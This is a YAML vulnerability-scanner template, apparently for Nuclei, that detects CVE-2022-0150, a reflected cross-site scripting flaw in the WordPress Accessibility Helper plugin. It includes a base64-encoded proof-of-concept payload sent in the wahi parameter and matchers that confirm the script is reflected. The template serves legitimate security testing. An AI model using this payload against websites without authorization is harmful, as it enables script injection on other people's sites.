id: CVE-2022-0150

info:
  name: WordPress Accessibility Helper <0.6.0.7 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Accessibility Helper plugin before 0.6.0.7 contains a cross-site scripting vulnerability. It does not sanitize and escape the wahi parameter before outputting back its base64 decode value in the page.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or defacement of the affected WordPress website.
  remediation: |
    Update to WordPress Accessibility Helper version 0.6.0.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5
    - https://plugins.trac.wordpress.org/changeset/2661008
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0150
    cwe-id: CWE-79
    epss-score: 0.01718
    epss-percentile: 0.74471
    cpe: cpe:2.3:a:wp_accessibility_helper_project:wp_accessibility_helper:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wp_accessibility_helper_project
    product: wp_accessibility_helper
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,wp,wpscan,xss,wp_accessibility_helper_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var wah_target_src = '';alert(document.domain);//';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022070fc5902d8edda69a11309f39745ae5e7e024b53f5ae973c1667d43621c6d2eb022100ac0769c0b1a43be68d76beea77e45e0dd04002d2996968579f538bf953e2b2ec:922c64590222798bb761d5b6d8e72950